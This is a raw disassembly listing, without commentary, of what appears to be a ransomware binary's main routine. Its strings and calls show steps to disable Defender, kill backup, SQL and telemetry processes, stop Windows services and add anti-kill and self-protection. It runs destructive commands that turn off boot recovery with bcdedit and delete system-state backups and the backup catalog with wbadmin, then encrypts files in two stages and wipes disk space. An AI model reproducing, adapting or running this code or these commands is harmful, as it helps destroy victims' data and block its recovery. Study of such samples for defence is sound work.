mov ecx, dword [ebp - 0x3c]
cmp ecx, 8
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push str.___Ext._priority:_____s
call fcn.0046adc0
add esp, 8
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x50]
call fcn.00449920
xorps xmm0, xmm0
lea ecx, [ebp - 0x5c]
push 0x5fe878
movlpd qword [ebp - 0x5c], xmm0
call fcn.0045aa90
xorps xmm0, xmm0
mov byte [ebp - 4], 0x1d
push 0x5fe8c0
lea ecx, [ebp - 0x28]
movlpd qword [ebp - 0x28], xmm0
call fcn.0045aa90
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x28]
mov edi, dword [ebp - 0x5c]
lea ecx, [ebp - 0xf0]
push eax
mov dword [ebp - 0x20], edi
mov esi, dword [edi]
call fcn.0045aa90
lea edx, [ebp - 0xf0]
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0xe4]
call fcn.0046e930
mov eax, dword [eax]
mov dword [ebp - 0xd8], eax
cmp esi, edi
je 0x46ca83
nop
sub esp, 0x18
lea eax, [esi + 8]
mov ecx, esp
push eax
call fcn.0044d0f0
mov ecx, dword [ebp - 0xd8]
call fcn.0046df40
test al, al
jne 0x46ca83
mov esi, dword [esi]
cmp esi, edi
jne 0x46ca60
mov eax, esi
mov dword [ebp - 0xd8], eax
cmp esi, edi
je 0x46caff
mov edi, dword [esi]
mov dword [ebp - 0xd8], eax
cmp edi, dword [ebp - 0x20]
je 0x46caff
mov eax, edi
nop
sub esp, 0x18
add eax, 8
mov ecx, esp
push eax
call fcn.0044d0f0
lea ecx, [ebp - 0xf0]
call fcn.0046df40
test al, al
jne 0x46caf4
lea eax, [edi + 8]
lea ecx, [esi + 8]
cmp ecx, eax
je 0x46caf2
call fcn.00449920
movups xmm0, xmmword [edi + 8]
xor ecx, ecx
movups xmmword [esi + 8], xmm0
movq xmm0, qword [edi + 0x18]
movq qword [esi + 0x18], xmm0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 7
mov word [edi + 8], cx
mov esi, dword [esi]
mov eax, dword [edi]
mov edi, eax
cmp edi, dword [ebp - 0x20]
jne 0x46caa0
jmp 0x46cb05
mov esi, dword [ebp - 0xd8]
lea ecx, [ebp - 0xf0]
mov byte [ebp - 4], 0x1e
call fcn.0044bc70
push 0x20
push dword [ebp - 0xf0]
call fcn.00536ae6
add esp, 8
lea eax, [ebp - 0xe0]
lea ecx, [ebp - 0x5c]
push dword [ebp - 0x5c]
push esi
push eax
call fcn.0045b6f0
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0xe8]
call fcn.0045aa90
mov byte [ebp - 4], 0x20
mov ecx, 0x5fe878
mov eax, dword [ebp - 0xe8]
push eax
push dword [eax]
call fcn.0045b3d0
lea ecx, [ebp - 0xe8]
call fcn.0044bc70
push 0x20
push dword [ebp - 0xe8]
call fcn.00536ae6
add esp, 8
lea ecx, [ebp - 0x28]
call fcn.0044bc70
push 0x20
push dword [ebp - 0x28]
call fcn.00536ae6
add esp, 8
lea ecx, [ebp - 0x5c]
call fcn.0044bc70
push 0x20
push dword [ebp - 0x5c]
call fcn.00536ae6
mov ecx, 7
mov dword [ebp - 0x40], 0
xor eax, eax
mov dword [ebp - 0x3c], ecx
add esp, 8
mov word [ebp - 0x50], ax
mov byte [ebp - 4], 0x21
mov edi, dword [0x5fe878]
mov esi, dword [edi]
cmp esi, edi
je 0x46cc11
nop word [eax + eax]
lea edx, [esi + 8]
push 0x5e1774
lea ecx, [ebp - 0x38]
call fcn.004544e0
add esp, 4
mov byte [ebp - 4], 0x22
cmp dword [eax + 0x14], 8
mov ecx, dword [eax + 0x10]
jb 0x46cbf2
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00452f50
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x21
call fcn.00449920
mov esi, dword [esi]
cmp esi, edi
jne 0x46cbd0
mov ecx, dword [ebp - 0x3c]
cmp ecx, 8
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push str.___Ext._exclude:______s
call fcn.0046adc0
add esp, 8
lea ecx, [ebp - 0x50]
call fcn.00449920
mov ecx, 7
mov dword [ebp - 0x28], 0
xor eax, eax
mov dword [ebp - 0x24], ecx
mov word [ebp - 0x38], ax
mov byte [ebp - 4], 0x23
mov edi, dword [0x5fe910]
mov esi, dword [edi]
cmp esi, edi
je 0x46ccd3
nop word [eax + eax]
lea edx, [esi + 8]
push 0x5e1774
lea ecx, [ebp - 0x50]
call fcn.004544e0
add esp, 4
mov byte [ebp - 4], 0x24
cmp dword [eax + 0x14], 8
mov ecx, dword [eax + 0x10]
jb 0x46cc82
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x38]
call fcn.00452f50
mov byte [ebp - 4], 0x23
mov edx, dword [ebp - 0x3c]
cmp edx, 8
jb 0x46ccca
mov ecx, dword [ebp - 0x50]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46ccc0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46de25
push edx
push ecx
call fcn.00536ae6
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x46cc60
mov ecx, dword [ebp - 0x24]
cmp ecx, 8
lea eax, [ebp - 0x38]
cmovae eax, dword [ebp - 0x38]
push eax
push str.___Files_exclude:_____s
call fcn.0046adc0
mov byte [ebp - 4], 0x13
add esp, 8
mov edx, dword [ebp - 0x24]
cmp edx, 8
jb 0x46cd29
mov ecx, dword [ebp - 0x38]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46cd1f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46de68
push edx
push ecx
call fcn.00536ae6
add esp, 8
mov ecx, 7
mov dword [ebp - 0x40], 0
xor eax, eax
mov dword [ebp - 0x3c], ecx
mov word [ebp - 0x50], ax
mov byte [ebp - 4], 0x25
mov edi, dword [0x5fe888]
mov esi, dword [edi]
cmp esi, edi
je 0x46ce29
mov eax, 1
nop word [eax + eax]
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x26
or eax, 2
mov dword [ebp - 0xd4], eax
xor ecx, ecx
mov eax, dword [esi + 0x18]
inc eax
mov word [ebp - 0x38], cx
push eax
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 7
call fcn.0044ccd0
cmp dword [esi + 0x1c], 8
lea eax, [esi + 8]
mov ecx, dword [eax + 0x10]
jb 0x46cd9f
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x38]
call fcn.00452f50
push 1
push 0x5e1774
lea ecx, [ebp - 0x38]
call fcn.00452f50
cmp dword [ebp - 0x24], 8
lea eax, [ebp - 0x38]
push dword [ebp - 0x28]
cmovae eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x50]
push eax
call fcn.00452f50
mov eax, dword [ebp - 0x20]
mov byte [ebp - 4], 0x25
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0xd4], eax
cmp edx, 8
jb 0x46ce1c
mov ecx, dword [ebp - 0x38]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46ce0c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46de25
push edx
push ecx
call fcn.00536ae6
mov eax, dword [ebp - 0xd4]
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x46cd60
mov ecx, dword [ebp - 0x3c]
cmp ecx, 8
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push str.___Dirs_exclude:______s
call fcn.0046adc0
mov byte [ebp - 4], 0x13
add esp, 8
mov edx, dword [ebp - 0x3c]
cmp edx, 8
jb 0x46ce7f
mov ecx, dword [ebp - 0x50]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46ce75
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46de6d
push edx
push ecx
call fcn.00536ae6
add esp, 8
mov ecx, 7
mov dword [ebp - 0x40], 0
xor eax, eax
mov dword [ebp - 0x3c], ecx
mov word [ebp - 0x50], ax
mov byte [ebp - 4], 0x27
mov edi, dword [0x5fe890]
mov esi, dword [edi]
cmp esi, edi
je 0x46cf7c
mov eax, dword [ebp - 0xd4]
nop
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x28
or eax, 4
mov dword [ebp - 0xd4], eax
xor ecx, ecx
mov eax, dword [esi + 0x18]
inc eax
mov word [ebp - 0x38], cx
push eax
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 7
call fcn.0044ccd0
cmp dword [esi + 0x1c], 8
lea eax, [esi + 8]
mov ecx, dword [eax + 0x10]
jb 0x46ceef
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x38]
call fcn.00452f50
push 1
push 0x5e1774
lea ecx, [ebp - 0x38]
call fcn.00452f50
cmp dword [ebp - 0x24], 8
lea eax, [ebp - 0x38]
push dword [ebp - 0x28]
cmovae eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x50]
push eax
call fcn.00452f50
mov eax, dword [ebp - 0x20]
and eax, 0xfffffffb
mov byte [ebp - 4], 0x27
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0xd4], eax
cmp edx, 8
jb 0x46cf6f
mov ecx, dword [ebp - 0x38]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46cf5f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46de25
push edx
push ecx
call fcn.00536ae6
mov eax, dword [ebp - 0xd4]
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x46ceb0
mov ecx, dword [ebp - 0x3c]
cmp ecx, 8
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push str.___Exec_commands:_____s
call fcn.0046adc0
mov byte [ebp - 4], 0x13
add esp, 8
mov edx, dword [ebp - 0x3c]
cmp edx, 8
jb 0x46cfd2
mov ecx, dword [ebp - 0x50]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46cfc8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46de72
push edx
push ecx
call fcn.00536ae6
add esp, 8
mov ecx, 7
mov dword [ebp - 0x40], 0
xor eax, eax
mov dword [ebp - 0x3c], ecx
mov word [ebp - 0x50], ax
mov byte [ebp - 4], 0x29
mov edi, dword [0x5fe8c8]
mov esi, dword [edi]
cmp esi, edi
je 0x46d0cd
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x2a
or eax, 8
mov dword [ebp - 0xd4], eax
xor ecx, ecx
mov eax, dword [esi + 0x18]
inc eax
mov word [ebp - 0x38], cx
push eax
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 7
call fcn.0044ccd0
cmp dword [esi + 0x1c], 8
lea eax, [esi + 8]
mov ecx, dword [eax + 0x10]
jb 0x46d040
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x38]
call fcn.00452f50
push 1
push 0x5e1774
lea ecx, [ebp - 0x38]
call fcn.00452f50
cmp dword [ebp - 0x24], 8
lea eax, [ebp - 0x38]
push dword [ebp - 0x28]
cmovae eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x50]
push eax
call fcn.00452f50
mov eax, dword [ebp - 0x20]
and eax, 0xfffffff7
mov byte [ebp - 4], 0x29
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0xd4], eax
cmp edx, 8
jb 0x46d0c0
mov ecx, dword [ebp - 0x38]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46d0b0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46de25
push edx
push ecx
call fcn.00536ae6
mov eax, dword [ebp - 0xd4]
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x46d001
mov ecx, dword [ebp - 0x3c]
cmp ecx, 8
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push str.___Kill_proc:_________s
call fcn.0046adc0
mov byte [ebp - 4], 0x13
add esp, 8
mov edx, dword [ebp - 0x3c]
cmp edx, 8
jb 0x46d123
mov ecx, dword [ebp - 0x50]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46d119
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46de77
push edx
push ecx
call fcn.00536ae6
add esp, 8
mov ecx, 7
mov dword [ebp - 0x40], 0
xor eax, eax
mov dword [ebp - 0x3c], ecx
mov word [ebp - 0x50], ax
mov byte [ebp - 4], 0x2b
mov edi, dword [0x5fe8b8]
mov esi, dword [edi]
cmp esi, edi
je 0x46d21e
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x2c
or eax, 0x10
mov dword [ebp - 0xd4], eax
xor ecx, ecx
mov eax, dword [esi + 0x18]
inc eax
mov word [ebp - 0x38], cx
push eax
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 7
call fcn.0044ccd0
cmp dword [esi + 0x1c], 8
lea eax, [esi + 8]
mov ecx, dword [eax + 0x10]
jb 0x46d191
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x38]
call fcn.00452f50
push 1
push 0x5e1774
lea ecx, [ebp - 0x38]
call fcn.00452f50
cmp dword [ebp - 0x24], 8
lea eax, [ebp - 0x38]
push dword [ebp - 0x28]
cmovae eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x50]
push eax
call fcn.00452f50
mov eax, dword [ebp - 0x20]
and eax, 0xffffffef
mov byte [ebp - 4], 0x2b
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0xd4], eax
cmp edx, 8
jb 0x46d211
mov ecx, dword [ebp - 0x38]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46d201
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46de25
push edx
push ecx
call fcn.00536ae6
mov eax, dword [ebp - 0xd4]
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x46d152
mov ecx, dword [ebp - 0x3c]
cmp ecx, 8
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push str.___Kill_service:______s
call fcn.0046adc0
mov byte [ebp - 4], 0x13
add esp, 8
mov edx, dword [ebp - 0x3c]
cmp edx, 8
jb 0x46d274
mov ecx, dword [ebp - 0x50]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46d26a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46de7c
push edx
push ecx
call fcn.00536ae6
add esp, 8
cmp byte [0x5fc988], 0
jne 0x46d286
cmp byte [0x5fc981], 0
je 0x46d2bf
push str.___List_of_paths_to_handle:
call fcn.0046adc0
mov edi, dword [0x5fe918]
add esp, 4
mov esi, dword [edi]
cmp esi, edi
je 0x46d2bf
nop
mov eax, dword [esi + 8]
cmp dword [eax + 0x14], 8
jb 0x46d2ab
mov eax, dword [eax]
push eax
push str._x___s
call fcn.0046adc0
mov esi, dword [esi]
add esp, 8
cmp esi, edi
jne 0x46d2a0
push 0x5feab4
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
cmp byte [0x5fc987], 0
mov byte [0x5feab0], 1
je 0x46d310
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 0xc
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.hashlist.txt
mov word [ecx], ax
call fcn.0044b730
mov ecx, 1
call fcn.00466ed0
add esp, 0x18
call fcn.00467060
cmp byte [0x5fc946], 0
je 0x46d32b
push str.___Block_defender...
call fcn.0046adc0
add esp, 4
call fcn.00471890
push str.SYSTEMDRIVE
call fcn.005594c6
add esp, 4
lea ecx, [ebp - 0xb4]
push eax
call fcn.004499c0
sub esp, 0x18
mov byte [ebp - 4], 0x2d
lea eax, [ebp - 0xb4]
mov ecx, esp
push eax
call fcn.0044d0f0
call fcn.0047a8b0
push str.___Establishing_IPC_connection...
mov dword [ebp - 0x20], 0
mov dword [ebp - 0xd8], 0
call fcn.0046adc0
call fcn.004642e0
call fcn.004642e0
push str.___Run_Watcher...
mov byte [ebp - 4], 0x2e
call fcn.0046adc0
add esp, 0x20
lea ecx, [ebp - 0x50]
push 0x5e2140
call fcn.004499c0
push 0x5fe1b0
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x2f
call fcn.00454030
push 0x5e2144
lea ecx, [ebp - 0x50]
call fcn.00454030
push str._e_watch__pid
lea ecx, [ebp - 0x50]
call fcn.00454030
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
lea ecx, [ebp - 0x38]
call fcn.0044e3d0
push eax
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x30
call fcn.00454060
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x2f
call fcn.00449920
push 0x5e3258
lea ecx, [ebp - 0x50]
call fcn.00454030
push dword [ebp - 0x54]
lea ecx, [ebp - 0x50]
call fcn.00454030
push 0x2710
push 0
lea ecx, [ebp - 0x50]
call fcn.00449910
xor edx, edx
mov ecx, eax
call fcn.00475a10
add esp, 8
mov dword [0x5fc97c], eax
lea ecx, [ebp - 0x50]
call fcn.00449920
mov dword [ebp - 4], 0x2d
push str.___Unlocker1...
mov byte [ebp - 4], 0x32
call fcn.0046adc0
add esp, 4
lea ecx, [ebp - 0x50]
push 0x5e2140
call fcn.004499c0
push 0x5fe1b0
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x33
call fcn.00454030
push 0x5e2144
lea ecx, [ebp - 0x50]
call fcn.00454030
push str._e_ul1
lea ecx, [ebp - 0x50]
call fcn.00454030
push 0x2710
push 0
lea ecx, [ebp - 0x50]
call fcn.00449910
xor edx, edx
mov ecx, eax
call fcn.00475a10
add esp, 8
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x50]
call fcn.00449920
mov dword [ebp - 4], 0x2d
push str.___Unlocker2...
mov byte [ebp - 4], 0x35
call fcn.0046adc0
add esp, 4
lea ecx, [ebp - 0x50]
push 0x5e2140
call fcn.004499c0
push 0x5fe1b0
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x36
call fcn.00454030
push 0x5e2144
lea ecx, [ebp - 0x50]
call fcn.00454030
push str._e_ul2
lea ecx, [ebp - 0x50]
call fcn.00454030
push 0x2710
push 0
lea ecx, [ebp - 0x50]
call fcn.00449910
xor edx, edx
mov ecx, eax
call fcn.00475a10
add esp, 8
mov dword [ebp - 0xd8], eax
lea ecx, [ebp - 0x50]
call fcn.00449920
mov dword [ebp - 4], 0x2d
push str.___Get_Whitelist...
mov byte [ebp - 4], 0x38
call fcn.0046adc0
add esp, 4
call fcn.00475810
mov dword [ebp - 4], 0x2d
cmp byte [0x5fcfb4], 0
mov dword [ebp - 0xd0], 0
je 0x46d568
lea eax, [ebp - 0xd0]
push eax
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
push ecx
lea ecx, [ebp - 0x64]
call fcn.004493d0
push 0x5fe8b8
call fcn.0045aa90
mov byte [ebp - 4], 0x3a
cmp byte [0x5fc95b], 0
je 0x46d590
lea ecx, [ebp - 0x64]
call fcn.004779c0
push str.___Kill_Services...
mov byte [ebp - 4], 0x3b
call fcn.0046adc0
xor edx, edx
add esp, 4
push str.Kill_Services...
lea ecx, [edx + 5]
call fcn.00462d10
add esp, 4
cmp byte [0x5fc95a], 0
je 0x46d702
push ecx
mov ecx, str.WSearch
call fcn.00474e20
add esp, 4
push ecx
mov ecx, 0x5e3404
call fcn.00474e20
add esp, 4
push ecx
mov ecx, str.DusmSvc
call fcn.00474e20
add esp, 4
push ecx
mov ecx, str.defragsvc
call fcn.00474e20
add esp, 4
push ecx
mov ecx, str.DoSvc
call fcn.00474e20
add esp, 4
push ecx
mov ecx, str.wercplsupport
call fcn.00474e20
add esp, 4
push ecx
mov ecx, str.SDRSVC
call fcn.00474e20
add esp, 4
push ecx
mov ecx, str.TroubleshootingSvc
call fcn.00474e20
add esp, 4
push ecx
mov ecx, str.Wecsvc
call fcn.00474e20
add esp, 4
push ecx
mov ecx, str.fhsvc
call fcn.00474e20
add esp, 4
push ecx
mov ecx, str.wbengine
call fcn.00474e20
add esp, 4
push ecx
mov ecx, str.PcaSvc
call fcn.00474e20
add esp, 4
push ecx
mov ecx, str.WerSvc
call fcn.00474e20
add esp, 4
push ecx
mov ecx, str.SENS
call fcn.00474e20
add esp, 4
push ecx
mov ecx, str.AppIDSvc
call fcn.00474e20
add esp, 4
push ecx
mov ecx, str.BITS
call fcn.00474e20
add esp, 4
push ecx
mov ecx, str.wuauserv
call fcn.00474e20
add esp, 4
push ecx
mov ecx, str.SysMain
call fcn.00474e20
add esp, 4
push ecx
mov ecx, str.DiagTrack
call fcn.00474e20
add esp, 4
push ecx
mov ecx, str.diagnosticshub.standardcollector.service
call fcn.00474e20
add esp, 4
push ecx
mov ecx, str.dmwappushservice
call fcn.00474e20
add esp, 4
push ecx
mov ecx, str.WMPNetworkSvc
call fcn.00474e20
add esp, 4
push ecx
mov ecx, str.DiagTrack
call fcn.00474e20
add esp, 4
cmp dword [ebp - 0x60], 0
je 0x46d740
push str.___Kill_Services_list__no_wait_...
call fcn.0046adc0
add esp, 4
lea ecx, [ebp - 0x64]
xor dl, dl
push 1
call fcn.00474f60
add esp, 4
push str.___Kill_Services_list__wait_...
call fcn.0046adc0
add esp, 4
lea ecx, [ebp - 0x64]
mov dl, 1
push 1
call fcn.00474f60
add esp, 4
push ecx
lea ecx, [ebp - 0x84]
mov dword [ebp - 4], 0x3a
call fcn.004493d0
push 0x5fe8c8
call fcn.0045aa90
mov byte [ebp - 4], 0x3e
cmp dword [ebp - 0x80], 0
je 0x46d788
push str.___Kill_process_list...
call fcn.0046adc0
add esp, 4
lea ecx, [ebp - 0x84]
mov dl, 1
push 0
push 1
call fcn.00475560
add esp, 8
cmp byte [0x5fc95a], 0
je 0x46d7fd
push str.___Kill_process_telemetry...
call fcn.0046adc0
add esp, 4
xor dl, dl
mov ecx, str.SearchIndexer.exe
push 1
push 1
call fcn.00475410
add esp, 8
xor dl, dl
mov ecx, str.SearchProtocolHost.exe
push 1
push 1
call fcn.00475410
add esp, 8
xor dl, dl
mov ecx, str.SearchApp.exe
push 1
push 1
call fcn.00475410
add esp, 8
xor dl, dl
mov ecx, str.CompatTelRunner.exe
push 1
push 1
call fcn.00475410
add esp, 8
xor dl, dl
mov ecx, str.wsqmcons.exe
push 1
push 1
call fcn.00475410
add esp, 8
push str.___Kill_process_with_high_RAM...
call fcn.0046adc0
mov eax, dword [0x5fc930]
add esp, 4
shl eax, 0x14
push 0
push eax
call fcn.004774e0
add esp, 8
cmp byte [0x5fc95b], 0
je 0x46d866
push str.___Kill_process_backup__sql...
call fcn.0046adc0
add esp, 4
push ecx
lea ecx, [ebp - 0x28]
call fcn.004493d0
call fcn.0044bc50
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x3f
call fcn.00477620
push 0
push 0
mov dl, 1
lea ecx, [ebp - 0x28]
call fcn.00475560
add esp, 8
lea ecx, [ebp - 0x28]
call fcn.004498d0
mov dword [ebp - 4], 0x3d
mov byte [ebp - 4], 0x41
cmp byte [0x5fc958], 0
je 0x46d88c
push str.___Anti_Kill...
call fcn.0046adc0
add esp, 4
call fcn.00471120
mov dword [ebp - 4], 0x3d
cmp byte [0x5fc984], 0
je 0x46d8b0
push str.___Self_Protect...
call fcn.0046adc0
add esp, 4
mov cl, 1
call fcn.004759b0
mov byte [ebp - 4], 0x43
cmp byte [0x5fc964], 0
je 0x46d8cf
push str.___Anti_Shutdown...
call fcn.0046adc0
add esp, 4
call fcn.004715a0
push str.___Long_Path_support...
mov dword [ebp - 4], 0x3d
call fcn.0046adc0
add esp, 4
call fcn.004711e0
cmp byte [0x5fc95a], 0
je 0x46d903
push str.___Kill_Telemetry_policy...
call fcn.0046adc0
add esp, 4
call fcn.00471170
cmp byte [0x5fc95e], 0
je 0x46d91e
push str.___UAC...
call fcn.0046adc0
add esp, 4
call fcn.00471250
push str.Remove_command_line_restrictions...
call fcn.0046adc0
add esp, 4
call fcn.004714a0
cmp byte [0x5fc967], 0
je 0x46d94b
push str.Unmount_virtual_drives_and_images...
call fcn.0046adc0
add esp, 4
call fcn.0047d810
xor edx, edx
push str.Stage_1__encrypt_large_files_
lea ecx, [edx + 5]
call fcn.00462d10
mov byte [0x5fc966], 0
call fcn.0046dff0
xor edx, edx
push 0x5e0c9c
lea ecx, [edx + 8]
call fcn.00462d10
sub esp, 0x10
mov ecx, esp
push 0x5f6cb4
call fcn.0044d0f0
call fcn.00464310
add esp, 0x18
cmp byte [0x5fc973], 0
jne 0x46de81
jmp 0x46da6e
push str.____Repeat_scan_once_more...
call fcn.0046adc0
push str.___Clear_Backup...
call fcn.0046adc0
add esp, 8
push 0
push 0
push 0
push 0x45dbe0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x46daaa
push 0x1388
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp byte [0x5fc95c], 0
je 0x46db02
push 0x2710
push 0
xor edx, edx
mov ecx, str.bcdedit.exe__set_default_bootstatuspolicy_ignoreallfailures
call fcn.00475a10
push 0x2710
push 0
xor edx, edx
mov ecx, str.bcdedit.exe__set_default_recoveryenabled_no
call fcn.00475a10
push 0x2710
push 0
xor edx, edx
mov ecx, str.wbadmin.exe_DELETE_SYSTEMSTATEBACKUP
call fcn.00475a10
push 0x2710
push 0
xor edx, edx
mov ecx, str.wbadmin.exe_delete_catalog__quiet
call fcn.00475a10
add esp, 0x20
cmp byte [0x5fc970], 0
je 0x46db4f
cmp byte [0x5fcba2], 0
je 0x46db4f
cmp byte [0x5fc98b], 0
je 0x46db4f
push str.___Everything_Setup...
call fcn.0046adc0
xor edx, edx
push str.Everything_Setup...
lea ecx, [edx + 5]
call fcn.00462d10
add esp, 8
mov dl, 1
call fcn.0047b940
call fcn.0047c950
neg al
sbb al, al
and byte [0x5fc98b], al
push str.___Waiting_unlocker...
call fcn.0046adc0
xor edx, edx
push str.Waiting_unlocker...
lea ecx, [edx + 5]
call fcn.00462d10
mov eax, dword [ebp - 0x20]
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x46db85
push eax
push 0
push 0x100000
call esi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xd8]
test eax, eax
je 0x46db9c
push eax
push 0
push 0x100000
call esi
mov dword [ebp - 0x18], eax
push 0xea60
push 1
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
xor edx, edx
push str.Stage_2__encrypt_little__unlocked_files_
lea ecx, [edx + 5]
call fcn.00462d10
mov byte [0x5fc966], 1
call fcn.0046dff0
push str.___Commands...
call fcn.0046adc0
add esp, 8
mov ecx, 0x5fe930
push 0x5fe890
call fcn.0045aa20
push 0
push 0
push 0
push 0x4767a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x46dc08
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp byte [0x5fcfb4], 0
je 0x46dc1d
push dword [ebp - 0xd0]
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
xor edx, edx
push 0x5e0c9c
lea ecx, [edx + 9]
call fcn.00462d10
add esp, 4
call fcn.0047d360
call fcn.0047d670
mov cl, byte [0x5fc936]
call fcn.00467800
cmp byte [0x5fc936], 0
je 0x46dc52
call fcn.0046b090
push 0x5e2140
lea ecx, [ebp - 0xcc]
call fcn.004499c0
push 0x5fdfa8
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0x45
call fcn.00454030
push str.xdel.exe___accepteula__p_1__c
lea ecx, [ebp - 0xcc]
call fcn.00454030
call fcn.0045d6b0
call fcn.0045d7b0
cmp byte [0x5fc941], 0
je 0x46deb8
push str.___Cleaning_disk_space...
call fcn.0046adc0
xor edx, edx
push str.Cleaning_disk_space...
lea ecx, [edx + 5]
call fcn.00462d10
add esp, 4
lea ecx, [ebp - 0x2c]
call fcn.0046dfd0
xor eax, eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x46
mov edi, dword [0x5fe918]
mov esi, dword [edi]
cmp esi, edi
je 0x46dd59
nop
lea eax, [ebp - 0xcc]
push eax
lea ecx, [ebp - 0x50]
call fcn.0044d0f0
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x50]
push dword [esi + 8]
call fcn.00454060
push 0x2710
push 0
lea ecx, [ebp - 0x50]
call fcn.00449910
